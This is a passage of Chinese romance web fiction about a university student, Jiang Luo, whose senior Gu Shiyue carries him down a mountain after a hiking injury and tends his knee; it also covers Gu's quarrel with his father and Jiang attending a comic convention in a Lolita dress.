项勤笑道:“你记性倒是挺好,见过一面就眼熟了。” “那是。”夏毅“啧”了声,“我说cos得那么老帅呢,合着原生建模就这么顶。” 顾时越在旁边一直没说话,江洛也一直没往他那边看,就这么背着登山包板板正正地坐在那儿,稍显拘谨。 前座几个人各聊各的,很热闹,只有他们俩没有任何交流,狭小而开放的空间里安静得仿佛设了一道结界,跟前座隔开了。 “打算一直背着包坐到目的地?”顾时越打破了沉默。 江洛愣了一下,马上把背上的包卸下来。其实后座空间并不算小,这一排能坐下三个人,江洛和顾时越中间还隔着一段距离。江洛直接把包放在了座位上,恰好隔在他跟顾时越中间。 他不是有意的,就是顺手,本来他和顾时越中间就空着,有放包的空间。 顾时越转头看了他一眼,江洛双手搭膝,目视前方,坐得像个兵。 顾时越语气淡淡地说了句:“坐我旁边让你觉得很勉强吗。” 江洛倏地转过头,立马摇头:“没有!” 顾时越垂眸扫了一眼座位上的包:“包拿开。” 江洛把包拎起来,低头看了一圈,想把包放地上,顾时越从他手里拎过包,直接把包拎到了自己身后,往角落里一塞。 江洛怕顾时越觉得挤,小声对他说:“学长,你往我这边坐坐,你那边有点挤。” 顾时越往他那边坐了一点,身上的气味缓缓围绕住江洛。 “吃早饭了吗?”顾时越问他。 “吃了。” “嗯,开过去一个小时,可以先睡会儿。” 顾时越知道江洛周末要兼职,没挑太远的地方去,计划当天早点结束。 虽然路程只有一小时,但也要上高速,江洛早上起早了,昨天晚上有点亢奋也没睡好,他上车后没一会儿就迷迷瞪瞪地睡着了,醒来时已经到了目的地。 江洛迷迷糊糊地睁开眼,身上盖了件外套,半张脸挡在外套底下,鼻间萦绕着一股熟悉又好闻的味道。 这个味道让他觉得安心又舒服,江洛睡迷糊了,闭上眼睛脸又往外套底下缩了缩,这下直接把脸整个挡住了,还打算继续睡。 “哈哈哈这么好睡呢。”前面传来夏毅爽朗的笑声,江洛猛地睁开眼睛。 “到了。”顾时越低沉的声音在耳边响起。 江洛慢吞吞地从外套后面探出半张脸,露出一双眼睛,眨巴眨巴,跟顾时越四目相视。 顾时越穿着单衣,身上的外套脱掉了,现在就在他身上盖着。 夏毅胳膊搭在扶手上,转身看着江洛:“睡得够香的啊,昨天没睡好啊?” 江洛点了点头,坐直了身子,身上的外套滑落到腿上。 “瞅瞅你阿越学长多贴心,还给你盖小被被。”夏毅说着看向顾时越,“我以前坐你旁边睡着的时候怎么没这待遇,现在再转专业去当你学弟还来得及吗?” 项勤接了一句:“那你得留级。” 众人闻言笑作一团。 江洛其实挺社牛的,被人打趣一般都能接上话,但今天却接不上,可能因为被打趣的是他和顾时越两个人,他有点招架不住,也有点……不好意思。 江洛把外套收起来递给顾时越,他刚睡醒,说话声音有点哑:“谢谢学长。” 江洛不知道顾时越把外套脱下来多久了,车内虽然不算冷,但也没开热空调,他有点担心顾时越会跟上次那样生病。 “学长,你冷不冷啊?”江洛问了一句。 顾时越穿上外套,看了他一眼。 江洛低声道:“今天温度不高,你刚才就穿这么一件,我怕你生病。” 顾时越上次发烧怕是给江洛植入了他体质差的印象,顾时越没说什么,只是用手背在江洛手背上轻轻碰了一下。 江洛一愣。 “冷吗?”顾时越问他,“我的手。” 江洛摇头:“……不冷。” “放心了?” 江洛点点头。 一伙人下了车,顾时越最后一个下来,走到后备箱那儿拿包,他挎上包的时候夏毅才注意到他包上挂了个Q版小人的羊毛毡挂件。 顾时越竟然会在包上挂此等萌物,这也太不符合他的人设了。 “我去这啥啊?”夏毅十分纳罕,把他包上的挂件拎起来看了看,“这么萌萌哒。” 江洛闻声看过来,才看到顾时越包上的挂件。 夏毅捏捏Q版小人的脸,男生往书包上挂挂件十有八.九是女朋友送的,以前也没见顾时越书包上挂过什么东西,这个挂件出现得非常诡异,夏毅嗅到了一丝异样的气息:“……我靠,不会是你对象送的吧?” “对象”两个字听得江洛额角一抽,顾时越还没开口,江洛却像应激了一般,脚步一顿,猛地回过头:“不是!” 众人皆一愣,齐刷刷地看向他。 顾时越也看着他。 江洛耳朵尖都红了,哽在那儿一动不动。 江洛突然这么大反应,夏毅有点懵:“啥情况啊这是……” 项勤添乱,笑着问:“不是对象送的那是谁送的啊。” 顾时越侧头看向江洛,看到他的耳廓一点一点变红。 第26章 江洛的耳朵已经红透了, 低头揉揉鼻子,声音很小地说:“……是我送的。” 怕众人误会,他紧接着补充了一句:“是我送学长的生日礼物。” 夏毅妥妥直男脑, 以为江洛是直男应激, 怕别人误以为他跟顾时越搞基,闻言乐道:“原来是你送的,我说你反应那么大呢。别慌弟弟,我也没说你俩那啥啥, 看给你吓得哈哈哈。” 江洛的应激跟直不直男的没什么关系,他就是单纯地对有关顾时越的一切感到敏感而已。 当然, 他之前并不这样。 江洛也觉得自己反应有点大, 尴尬得攥紧了手里的登山杖。 夏毅看这Q版小人有很强的既视感, 这冷冷酷酷的小表情,越看越觉得像顾时越, 而且脑袋上还顶着只小猫, 顾时越又正好养了只猫。 他问江洛:“这羊毛毡不会是你自己戳的吧?” “……对。”江洛点了点头。 “我靠, 这么厉害。”夏毅指指顾时越,“这小人偶是不是他?” 江洛抿了下唇,没接话。 夏毅突然大笑起来:“不说我也知道是他,这面瘫脸不是他还能是谁。” “我看看。”姚知清凑过来看顾时越包上的挂件, “嗯……还真挺像。” “哪里是像, 这简直是一模一样。”夏毅推着姚知清往前走, 夸张道, “好了好了,走吧走吧,看一眼得了,人不让碰, 宝贝着呢。我刚摸一下就被眼神警告了,好凶。” 姚知清笑道:“谁跟你似的那么手欠,人家亲手戳的,万一给人摸脏了你给重新戳一个啊。” 夏毅笑骂道:“靠了真是,我手上又没屎。” 江洛和顾时越并排走在最后面,顾时越沉默不语,江洛想了想还是觉得要为自己辩驳一下:“学长,那个小人偶不是面瘫脸。” 顾时越转头看他一眼。 江洛歪头揉了揉耳朵,说:“它有表情的……它是酷酷脸,不是面瘫脸。” 顾时越“嗯”了一声:“我知道。” 江洛侧过头偷偷瞄了一眼顾时越包侧的挂件,这会儿心里其实挺高兴的,他都没想过顾时越会把这挂件挂出来。 顾时越这次选了一条比较适合新手的路线,不长,也不会很难走,但江洛毕竟是第一次徒步,体力肯定跟不上他们这些经常户外运动的。一行人也有意放慢了速度和节奏,江洛走在他们后面,顾时越跟在他身后,在队伍的最后面。 走了半程江洛就有点喘了,他能明显听到自己的喘气声。 “要不要歇会儿?”顾时越的声音从身后传来,也算走了一段挺长的路了,他连呼吸频率都没变,说话一点都不带喘的。 江洛摇摇头:“没事,我还行。” 他回头看了眼顾时越,顾时越因为走在最后面,速度还要放得更慢,前面那几个人虽然走得比平时慢,但也跟江洛拉开了一段距离。 “学长,你走我前面去吧。”江洛对顾时越说,“你在我后面我都拖你后腿了。” “不用。” “没事,我能跟上你们。” “我就在你后面。” “嗯……那好吧。” 江洛不是不愿意跟顾时越走一块儿,他只是怕拖慢顾时越的节奏。 这一路累归累,但沿途的风景还是很美的,一路走过去是一种享受。来到山顶又见一片开阔壮丽的自然风光,那一刻江洛真真切切感受到了户外运动的意义。 江洛闭上眼睛深吸了口气。 他们在山顶休息了会儿,观景的观景,进食的进食。几个人直接在地上铺了张野餐垫,围一圈坐一块儿吃东西。夏毅从包里掏出一包泡椒凤爪问江洛:“学弟吃不吃?” 江洛也不扭捏,大大方方地说:“吃。” 夏毅扬手把泡椒凤爪往他那一扔:“归你了。” 江洛笑着说:“谢谢夏哥。” 顾时越没在这,江洛转头看了一眼,看到顾时越站在不远处拿着相机在拍照。 江洛坐不住,啃完半包鸡爪就拎上一袋面包去找顾时越了。 山顶上不是只有他们一行人,还有其他徒步的队伍,周围不算安静。顾时越在看相机上的照片,似乎没注意到江洛的脚步声,江洛都走到他身后了,他连头都没回一下。 江洛干脆没出声,放轻动作在他身后停了下来。 这一片是斜坡,江洛站的位置地势偏高,从他这个角度可以看到相机显示屏上的照片。 江洛垂眼看着显示屏上的风景,目光不由自主地落在顾时越的手指上。 顾时越的手指修长而干净,手背青筋微微突起,指骨分明。刚才他就是用这只手碰了江洛的手背,带着温热的触感。 阳光和煦,风也柔柔的。 江洛在轻柔的风中微微走神。 “躲在后面干什么。”顾时越突然出声。 江洛眸光一颤,恍然回神。 顾时越没问是谁,他也没回头,江洛声音小小地自报家门:“是我,学长。” “知道。”顾时越说着又举起相机对着远处的风景拍了张照。 “你啥时候知道的啊?”江洛往他那边挪了一下,离他更近,“我一来你就知道了么?” “嗯。” “那……我一来你就知道是我了么?”江洛问完立刻抿了下嘴,心想这是什么莫名其妙的问题,江洛你脑子是抽了吗。 顾时越回答他:“嗯。” 江洛揉揉鼻子,还想问“你咋知道是我”,最后还是没问得出口。 “你饿不饿啊?”江洛问他,“我给你拿了袋面包。” “等会儿吃。”顾时越说着回过了头,跟江洛四目相对。 江洛刚吃完泡椒凤爪,辣得嘴唇有点红肿,顾时越的目光落在他比往日更加红润的嘴唇上:“嘴巴怎么了?” 江洛愣了一下,抬手摸摸嘴角:“沾东西了?” “没有。”顾时越转过头去继续拍照,“吃什么了这么红。” “……泡椒凤爪。”江洛用手背蹭了蹭嘴唇,还有点辣辣的刺痛感。 两人正说着话,身后突然传来夏毅的声音:“你俩在这儿干啥呢?” 夏毅这一嗓子中气十足,江洛猝不及防吓了一跳,脚底一滑往前一个趔趄,直接撞在了顾时越背上。他和顾时越离得太近,连反应的时间都没有。 江洛用手撑着顾时越的后背迅速站稳,又迅速把手从他背上拿开。 顾时越看了夏毅一眼:“瞎咋呼什么。” “不好意思不好意思。”夏毅赶紧跟江洛道歉,而后又说,“哎哎,我哪个又咋呼了,是你们俩聊得太火热,我过来那么大动静你们都没听见。” 听夏毅说话简直像坐过山车,“火热”两个字一蹦出来江洛又是额角一抽:“夏哥……我们就正常聊天。” “嗯?”夏毅眨眨眼,“你俩还能不正常聊天?” “……”江洛无言以对。 夏毅直男脑一根筋,就是个缺心眼,项勤过来找人,闻言在旁边嗤嗤地笑。夏毅转过头来:“笑什么你?” “笑你二百五。”项勤说,“你充电宝呢,给我充充电。” “才这会儿工夫你手机就没电了?” “晚上没充。”这里除了江洛,夏毅年纪最小,另外那两位都是“大人”,手机瘾没他那么重,自然也不会带充电宝这种东西,项勤只能找他借了。 夏毅跟着项勤往回走:“出远门你不给手机充电,还不带充电宝,服了。哥哥,你还能再松弛点儿。” 江洛看着夏毅离开的背影,很轻地呼了口气。 他们没在山上待太久,吃饱喝足又休整了一下就下山了。下山比上山快点,路上的人也比上山时多,顾时越还是走在最后面。因为下山路很宽敞,他们队伍间还穿插着其他徒步的行人。 江洛前面走着个女生,这一片路上都是石块,那女生不小心被石头绊了一下,眼看她往前一栽,江洛眼疾手快拉住了她的登山包。 女生惊叫了一声,下意识向后抓住了江洛的胳膊。 江洛使了一把力把女生往前扶了一下,自己却没站稳原地栽了下去,好在有登山杖撑着,没有摔得太狼狈。 江洛单膝跪地,一只手抓着登山杖,另一只手撑在了地上。 准确来说不是地上,是石块上。 顾时越跟江洛隔了段距离,江洛栽下去的时候他没来得及扶住他。 等江洛感觉到疼的时候顾时越已经走到他旁边了。 “能不能动?”顾时越皱着眉问他。 “能。”江洛撑着登山杖站了一下,刚才膝盖磕到了石头,腿一使劲就有点疼,没能站起来。 顾时越把他扶了起来。 “对不起对不起!”那个女生在旁边连连道歉,“真的对不起!” 江洛笑了下:“没事,跟你又没关系。” 顾时越蹲下来,把江洛的裤腿往上撩到膝盖处,江洛一愣,往后退了半步:“……学长,我没事。” “别动。”顾时越皱着眉说。 江洛不动了。 江洛的膝盖磕伤了,伤口在渗血,顾时越从包里拿出湿巾擦了擦他膝盖上的血,手指隔着湿巾在他膝盖骨上按了按:“这里疼不疼?” “不疼。学长,我没摔着骨头,我骨头不疼。” 顾时越没说话,表情不太好看。擦干净血,他又拿了片消毒湿巾,跟江洛说:“有点疼,忍着点。” 他动作很轻地帮江洛消毒,确实疼,江洛咬着嘴唇忍痛,鼻尖上浮了一层汗。 “怎么了?摔了?”项勤走了过来,身后跟着其他几个人,那个女生的亲友也过来了,一帮人围着江洛。 女生回头跟亲友说明情况,心下歉疚还想给江洛经济补偿,江洛好说歹说才把他们劝走。 消完毒,顾时越在江洛的伤口处贴上了无菌敷贴。江洛刚才手在石块上撑了一下,手掌也蹭破了皮,顾时越帮他手上也消了毒贴了敷贴。 “没摔着骨头吧?”姚知清问了一句。 “没有。”江洛活动了一下膝盖,“就磕破点皮。” “哪里是磕破点皮,你膝盖都磕肿了啊,弟弟。”夏毅说。 江洛咧嘴笑了笑:“没事,回去冷敷一下就消了。” “还能走吗?”项勤问他。 “能。”江洛说着走了走,能走,但是走不利索,毕竟动起来怎么着都会扯到伤口,不可能不疼。而且地上都是石块,崎岖不平,走起来更困难。 江洛撑着登山杖很慢地走着,努力让自己的走姿看起来正常一点。 顾时越把自己的包递给项勤,随后抽走江洛手里的登山杖,一并递给项勤,项勤心领神会地接过包和登山杖,什么也没问。 江洛手里一空,霎时愣在那儿,看到顾时越走到了他面前。 “我背你。”顾时越说。 江洛一愣,忙说:“不用不用。” “不用?”顾时越眯了下眼,“你现在这副样子走到山脚,明天膝盖能肿得路都走不了。” “我……” “不听我话?”顾时越语气淡淡的。 “……听。”江洛点点头,声音很轻,“我听的。” 顾时越转过身去微微俯下身,江洛搂住他的脖子,顺势趴到了他背上。 第27章 江洛环着顾时越的脖子, 胸口紧紧贴在他背上,心跳不自觉地加快。起初他梗着脖子趴在那儿有点僵硬,后来才慢慢放松了下来。 他默不作声地看着顾时越的侧脸, 放轻了呼吸, 心跳并没有缓下来。 下山路比较缓,顾时越背着江洛走路并不困难,他走得轻轻松松,速度也不慢。 江洛听话, 但不呆,他不可能真的老老实实让顾时越把他从这背到山脚。 “学长, 你背我一会儿就把我放下来呗。”江洛在顾时越耳边小声说, “这边离山脚也不远了, 到前面我自己走。” 顾时越没说话,江洛瞄了他一眼, 放轻声音问:“好不好啊?” 顾时越答:“不好。” “我膝盖真的没啥事, 我一个人在后面慢慢走就行, 你一直背着我多累啊。” “你的听话就是听这一会儿工夫?”顾时越问道。 江洛抿了下唇,咕哝道:“那我……不也听了么。” 为了哄顾时越把自己放下来,江洛有意卖乖。 “我很听你话了啊。”江洛声音很轻地说,“别人说话我都没那么听的。” 江洛听顾时越的话, 在他面前总是很乖, 之前是因为对顾时越有滤镜, 待见他, 现在是为什么……江洛有些分辨不清。 “真听我的话就乖乖趴好。”顾时越说。 江洛“唔”了声,不说话了。 顾时越到底还是把江洛背到了山脚,还直接背到了停车的地方,半路夏毅想换他来着, 顾时越没让。 顾时越背着个人走了一路,相当于负重徒步,结果临了把人放下来后连大气都没喘一下,夏毅冲他竖了竖大拇指:“您这体力真是太惊人了,小生佩服。” 项勤笑了声:“人家根本用不着你换,给你积极的。” 夏毅点点头:“是小生多虑了。” 返程是姚知清开的车,他先顺路把夏毅送回了学校,然后送顾时越。顾时越不住校,姚知清直接把车开到了他住的小区。 顾时越下了车,江洛和项勤都回学校,两人回一个地方,江洛还坐在车里跟顾时越说“拜拜”。 顾时越没跟他“拜拜”,看着他说:“下车。” 江洛一愣:“啊?” “你回学校怎么冷敷。”顾时越说,“先去我那,等会儿送你回学校。” 车上那三个人面面相觑,表情有点微妙。 今天给顾时越添的麻烦够多了,江洛不想再麻烦他:“不用不用,我晚点去超市买瓶冰水就行。” 顾时越没说话,只是站在车外看着他。 一个眼神足以表达一切,江洛噤声片刻,改口道:“……还是去你家吧。” 江洛拎上包乖乖下了车,他膝盖有伤,顾时越在车门那儿扶了他一下。 项勤转头看向窗外,看着江洛笑盈盈道:“学弟,你真要跟他走啊,你跟他走了我一个人回学校还有点孤单呢。” 江洛还没开口,顾时越就按了下门把上的按钮,把门关上了。 姚知清坐在驾驶座上差点笑出声,他按下车窗,跟顾时越说:“那我们先走了啊。” 顾时越“嗯”了声:“开车慢点。” 江洛和顾时越一起上了楼,一进门就听到棉团“喵呜喵呜”的叫声,棉团翘着尾巴从远处急匆匆地跑来,看到进来的是两个人似乎叫得更加急切。 顾时越平时对棉团高冷,棉团单方面黏他,在他面前也比较收敛。它伸出一只前爪在顾时越鞋上轻轻扒拉一下,顾时越垂眼看它,没什么表示。 但是换到江洛这边就完全不一样了,棉团扒拉完顾时越,直接抬起前爪扑到了江洛腿上,扒着他的裤子伸了个大大的懒腰。它这一扑,爪子差点扑到江洛膝盖的伤口上,还好比较胖,没那么灵活,扑不了那么高。 江洛弯下腰刮刮它的下巴:“你是不是又胖了啊宝。” 棉团扒拉着江洛的裤腿往上爬,尾巴晃啊晃的,肉眼可见的开心。 顾时越怕它抓到江洛的伤口,下了个指令:“下来。” 棉团“喵呜”了一声,听话地从江洛身上跳了下去。 顾时越把江洛的包放在玄关置物柜上,让江洛去客厅等他。 江洛走去客厅坐下,顾时越放下东西去了厨房,回来的时候手里拿了一包冰袋和一块干净的干毛巾。 江洛有点拘束地坐在沙发上,棉团乖乖地趴在他脚边,顾时越走过来说:“腿抬起来,平放在沙发上。” 江洛脱了拖鞋,把那条受伤的腿平放在沙发上。他岔着腿坐在那儿,还坐得端端正正,那姿势看着就累。 顾时越朝沙发一侧偏了偏头:“躺那儿。” “不用了吧,我坐着就行。”江洛乖巧地看着他,“我今天出汗了,衣服也没换,躺着我怕把沙发弄脏了。” 顾时越没多说什么,只说了句:“躺下来。” 江洛把外套脱了才在沙发上躺下来,其实也不算躺,他人还是坐着的,背靠在扶手上。顾时越把他裤腿撩到了膝盖,伤口处贴着无菌敷贴,这一块很明显比刚才更肿了,周围一圈有点泛青。 顾时越帮他重新换了张无菌敷贴,然后用毛巾裹着冰袋敷在了他膝盖上。有毛巾隔着,冰袋接触皮肤不至于那么冷。江洛刚才膝盖有些发涨发热,这会儿膝盖上冰冰凉凉的很舒服。 顾时越又去卧室拿了一条毛毯过来,往江洛身上一盖。 “要看电视吗?”顾时越问他。 江洛摇头。 “那躺着歇会儿。” “嗯嗯。” 顾时越帮江洛敷上冰袋就起身去了厨房,没过一会儿,江洛闻到厨房飘来的香味,才意识到顾时越是在做饭。 他震惊地看向厨房方向,有点不可思议。 江洛靠着沙发没一会儿就有了困意,他闭上眼睛眯了一会儿,没睡实,二十分钟后自己醒来了。棉团已经趴在沙发一侧睡着了,蜷成一团,还打着小呼噜,像个糯米团子。 江洛拿起手机看了眼时间,微信上多了好多消息,他一一回过。 看到戚雪影消息的时候,江洛眼皮不由得跳了一下。 戚雪影:洛洛,你的衣服做好了哟。 戚雪影:[图片][图片] 戚雪影:这是成品。 江洛点开图片看了眼,图片上是一条非常漂亮的Lolita裙子,还配了顶假发。 这一切都要从上次江洛和程嘉树玩游戏打赌那件事说起。 那次江洛游戏比输了,说好输的人下次出cos要出女装,愿赌服输,江洛肯定不会赖。然后这件事程嘉树扭头就告诉了戚雪影,戚雪影立马给江洛发了消息,表示她要承包江洛下次cos的服装。 戚雪影本来就爱给江洛做cos服,在她眼里江洛整个一“奇迹洛洛”,她就喜欢给漂亮弟弟做漂亮衣服。更别说居然还有机会能做女装,这简直是天赐良机。 戚雪影跟打了鸡血一样积极,江洛根本拒绝不了。 程嘉树当时跟他说:“你放弃挣扎吧,奇迹洛洛。” 于是江洛就放弃挣扎了。 戚雪影的手艺不是盖的,江洛回了个[大拇指]:影总牛。 戚雪影:明天就寄给你。 戚雪影:燥候。 影总的心思昭然若揭,她燥候江洛穿漂亮小裙裙呢。 江洛看着屏幕不由得笑了一声。 “笑什么。” 江洛倏地抬起头,顾时越走了过来,手里拿着一包新的冰袋。 顾时越俯身拿走他膝盖上已经化得差不多了的冰袋,给他换上新的,低着头问:“跟谁聊天笑这么开心。” 江洛一边心想我也没有笑得很开心吧,一边老老实实地回答:“影总。” “戚雪影?” “……啊。”江洛点点头。 顾时越抬起眼来,盯着他看了片刻,没说什么。他把毯子重新给江洛披上,说:“过二十分钟吃饭。” “学长你……真的在做饭啊?” 顾时越眉梢微挑:“怎么?” “你好厉害啊,居然会做饭。” “这听着不太像是夸我。” 江洛笑了:“是夸你是夸你。我就有点震惊,完全没想到你还会做饭。” 顾时越一个人住,会做饭没什么奇怪的,而且他忌口的多,自己下厨更方便。他平时吃得简单,今天给江洛做饭,菜色明显丰富了很多。 吃完饭,江洛主动站起来收拾碗筷,顾时越说:“放那,不用你收拾。去客厅歇会儿,等下送你回学校。” 江洛没跟他争,听话地放下碗筷。 顾时越看他一眼:“这倒听话了。” 江洛乖巧道:“我本来就很听话。” 顾时越嘴角不太明显地勾了一下,似笑非笑的,他起身收拾碗筷,把碗放进了洗碗机。江洛没回客厅,扒着厨房门眼巴巴地看着他。 顾时越回头看了他一眼:“怎么了?” “我看看你需不需要打下手。” 顾时越就洗几个锅,有涂层没办法直接放洗碗机里洗,他还没开口,门铃声突然响了起来。 顾时越洗干净手,走去玄关开门,江洛趁这工夫接手了水池里那几个脏锅。 门外的是顾时越他爸,身后还跟着助理。 助理朝顾时越微微欠了欠身子。 “吃饭没有?”顾宏问了一句。 “嗯。”顾时越看着他,脸上没什么表情,“有事?” 顾宏皱了皱眉:“没事我就不能来?” “没事你也不会来。” 顾宏沉默片刻,沉声道:“你是打算一直让我站在门口?” 顾时越把门开着,转身往里走去。 顾宏走进客厅,他知道顾时越肯定能猜到他来这的目的,也没闲扯,直接开门见山:“国外那边,我已经看好了几个学校。” 说着他看了助理一眼,助理微微颔首,从公文包里拿出一叠纸质资料,放在了客厅的茶几上。 “这是整理好的资料。”顾宏说,“抽空看一下。” 顾时越一脸默然地看着那一堆纸:“我之前是不是跟你说过,不需要你替我做决定。” 顾宏冷着脸:“那我是不是也说过,你不要一而再再而三地试探我的底线。” 江洛一直待在厨房没出去。 外面这个情况,他也没办法出去。 “试探你的底线?”顾时越冷笑一声,“我没那么无聊。” 他扫了一眼桌上的学校资料,告诉顾宏:“我的保研通知已经下来了。” 顾宏眼神一凛:“什么?” “所以你不用再浪费时间弄这些。”顾时越说,“没有意义。” 顾宏脸色铁青,沉默了半晌才沉着声音开口:“有那么多选择给你,你就非得留在这。” 顾时越不想再多说,转身往厨房走去:“那也是我的选择,与你无关。” “我看你根本没有理智可言——”顾宏压着火气,“你非要走你妈妈那条路,无非是因为心里对我有气——” 顾时越脚步一顿,声音瞬间冷了下来:“别提我妈。” 顾宏哑然,屋里顿时鸦雀无声。 顾时越的母亲在他小学的时候就过世了,她曾经在航天研究院工作,顾时越选择现在这个专业确实是受了她的影响,他上的学校就是他妈妈的母校。尽管如此,顾时越的妈妈也只是他的引路人,顾时越不管做什么决定,遵循的永远都是自己的内心。更何况以顾时越的性子,就算不选择跟航空航天有关的专业、不走现在这条路,他也不可能受制于他爸的掌控。 顾时越他妈身体不好,那时候顾时越还小,刚记事,他爸以他妈体弱为由,一直不太支持她的事业。 他必然是爱她的,不爱,他妈怎么又会被爱困住。不得已放弃了自己热爱的事业,困在家庭这小小的一方天地,像失去了灯芯的一盏油灯,生命很快就走到了尽头。 爱不一定会消散,但时间会让它变得没有份量。 他爸以爱的名义替他妈做了选择,让她失去了灯塔,却也没有成为她的灯塔。 顾时越转过身,冷冷地看着顾宏,情绪很少有这么波动的时刻:“你有什么资格提我妈?那时候但凡你多分出一点精力放在她身上,她都不会那么早撒手人寰。” “你眼里有她吗?”顾时越蹙着眉心,觉得他爸很可笑,“你到底有什么资格提她。” 顾宏喉咙一哽,哑口无言地看着他,眼底有些发红。 顾宏心里必然是有愧的,对妻子有愧,对儿子有愧,不然以他强势又骄傲的性格,根本不会给顾时越这么大限度的自由。也正因为如此,顾时越很少跟他爸正面起矛盾,父子俩之间的关系一直维持着微妙的平衡。 “替我妈选择完人生现在又来替我选择了?”顾时越一字一顿道,“明白地告诉你,我不需要,你也没那资格替我选。” 顾时越说完就走去了厨房,他走到厨房门口,江洛靠另一边墙站着,看见他猝不及防吓了一跳。 “膝盖有伤,站在那干什么。”顾时越神色如常,脸上的情绪已经散得一干二净。 江洛张了张嘴:“我……” 顾宏诧异地看向厨房:“谁在那儿?” 江洛走出了厨房,顾宏看见他眉头直皱,他完全没想到这屋里还有另一个人。 刚才顾时越和他爸的对话江洛一字不落地都听进了耳里,但再怎么样他都不会丢了礼数,他冲顾宏微微点了下头,礼貌道:“叔叔……您好。” 顾宏皱着眉:“……你是哪位?” 顾时越说:“我朋友。” 顾时越的主动介绍让顾宏有点意外,他看了顾时越一眼,仍旧眉头紧锁。 江洛实在尴尬,眼下这个情况他实在不适合杵在这儿,可他也不能现在就走。他看了顾时越一眼:“学长,我……去个洗手间。” 顾时越“嗯”了声。 江洛去了洗手间,没待多久外面便没了声响。他又靠近门板听了一下,确定外面没动静了才轻轻打开了门。 客厅里一点声音都没有,江洛看到顾时越一个人坐在落地窗前的单人沙发上,没什么表情地看着窗外。 他整个人融在窗外的夜景里,背影安静又孤独。 江洛放轻脚步走了过去,顾时越其实听到了他的声响,但是没有回头。 江洛叫了声“学长”,在顾时越面前蹲了下来,他膝盖有伤,这会儿也不管疼不疼了,他想跟顾时越说说话,想哄他开心。 顾时越视线落下来,瞳仁里映着江洛的脸。 “学长,我有个笑话你要不要听?”江洛笑着问他。 顾时越不按常理出牌:“不要听。” “啊……”江洛眨了眨眼睛。 顾时越怕他这么蹲着扯到伤口,低声道:“别蹲着,起来。” 江洛没起来,轻轻拽了拽他的裤腿,轻声说:“别不开心。” 顾时越垂眸看着他。 江洛微微仰起脸,目光关切地注视着他。 上次生日那天,他也是这么蹲在顾时越面前,用这双眼睛专注地、温柔地看着他。 第28章 江洛没有在顾时越家待太久, 顾时越不是那种情绪外放、会主动袒露心事的人,江洛也不可能主动去问,那不合适。 而且从刚才顾时越和他爸之间的对话江洛也已经清楚大致情况了。 顾时越可能比他更早失去了自己的妈妈, 他明白那种无力到窒息的难过, 顾时越坐在窗边的背影让他想到了那时的自己,可那时候他身边至少还有江晨,顾时越却只有他一个人。 他可能一直以来都是这样一个人。 顾时越开车送江洛回学校,把江洛直接送到了宿舍楼底下, 江洛解开安全带下了车,顾时越叮嘱他:“这两天少活动, 注意点伤口。” 江洛点点头:“好的。” 宿舍门口人流熙攘, 江洛站在车窗外, 带着笑意地问顾时越:“学长,我以后可以经常找你玩吗?” 虽然他们已经接触有一段时间了, 但这是江洛第一次当面表达想要拉进跟顾时越的距离。 他往前踏几步, 他主动走到顾时越身边, 顾时越就不会一直是一个人了。 顾时越透过窗户看着江洛,沉默片刻,开口道:“这种问题不需要问我。” 言外之意江洛了然,他笑得两眼弯弯:“好。” 江洛跟顾时越道了别, 转身朝宿舍大楼走去, 顾时越看着他远去的背影, 在车里坐了好一会儿才离开学校。 戚雪影寄给江洛的lo裙第二天下午就到了, 江洛不可能当着他室友的面试穿裙子,所以直接让戚雪影寄到了程嘉树校外住的地方。 没过几天学校附近就有一场小型漫展,江洛到时候就要穿这一身女装去。 江洛初中的时候就出过女装cos了,那时候还是他妈妈帮他做的衣服, 那会儿也是年纪小,图新鲜,什么都敢尝试。江洛跟程嘉树初中那会儿已经认识了,程嘉树早见过他穿女装,他们搞cos的接受度和包容度都高,男生穿女装在这个圈里不是什么稀奇事,一切都是为了开心。 江洛初中那会儿身体还没长开,穿女装完全看不出来是男生,谁知道那么多年过去,他的女装扮相还是那么自然贴脸,明显的只是个子上的变化。 程嘉树看到他戴上假发全妆的样子,愣半天默默地比了个大拇指。 “你要不出个声,让我确认一下是不是本人。”程嘉树说。 江洛笑了一声,故意掐着嗓子说了一句:“确实不是本人呀。” “靠。”程嘉树乐了,“别夹了你,真跟女生似的。” 这次漫展江洛没有cos女角色,就只是穿了女装,这套Lolita裙是戚雪影原创设计的,浅蓝色系,非常漂亮,设计虽然复杂,但是风格没有很重工。江洛个子不矮,但脸是童颜脸,穿上这套裙子直接变高个萌妹了。 “萌的很啊洛c老师。”程嘉树啧啧两声,“影总还是太厉害了,这裙子设计得可太适合你了。” 漫展当天,戚雪影直接带了个单反相机,抱着必出神图的决心来的。 江洛收到的漫展活动邀请很多,他短时间内不打算再参加线下活动,所以今年的活动邀请都推掉了。不需要参加签售活动,去漫展就完全是自己的私人时间,可以自由自在地逛展。 江洛个子高挑、脸蛋漂亮,即使没出cos在人群中还是很打眼,所以找他合照的人也很多。他逛了一下午的展,被集了那么多邮,肯定能碰上几个粉丝。有个粉丝眼尖,一眼就认出他了,激动地捂住嘴:“你你你……洛c老师!” 江洛冲她笑了笑,食指抵着嘴唇“嘘”了一声,那位粉丝克制住激动的心情,闭紧嘴巴点点头,兴奋地拿出手机想要合照。 后面江洛还被认出来了几次,不过除了认出他的粉丝,集邮的路人基本都没看出来他是男生。 江洛和程嘉树排队领了一堆周边,漫展结束后,两个人人手一个巨大的手提纸袋。 晚上他们是和圈里的几个朋友一起吃的饭,吃完饭回去的路上,江洛收到了顾时越的微信消息。 消息很短,就两个字:喂猫。 江洛回复:收到! 江洛没跟程嘉树一起回去,跟出租车司机报了个地址,先去了顾时越的住处。 江洛没摘假发没换衣服,穿着一身lo裙走进门的时候,棉团都没认出他。老猫猫躲在沙发扶手后面,探出半个脑袋,露出两只眼睛警惕地看着他。 “棉团。”江洛出了个声。 棉团耳朵一弹,认出了江洛的声音。它“喵”了一声,跳下了沙发,小碎步朝江洛跑来。 江洛笑着蹲下来,摸了摸它的脑袋:“换了个皮不认识我了。” 棉团仰头看着他,眼睛睁得圆溜溜的。 自动喂食机是空的,棉团已经进过食了,江洛陪它在客厅玩了会儿,就给它套上胸背带它下楼散步了。他今天给棉团挑了件蓝色系的小裙裙,跟自己穿的这一身像亲子装。 江洛带棉团在楼下散了半小时步就上来了,他下楼时把家里的灯都关了,一进门屋里却灯火通明。 江洛牵着猫愣在门口,等反应过来时顾时越已经出现在了视线中。 顾时越从健身室里走出来,仰头喝着一瓶冰水。他应该是刚运动完,身上穿着有点修身的速干衣,胸口和腹部都洇着点点汗迹,衣服布料与皮肤紧贴,显出了腹肌线条。 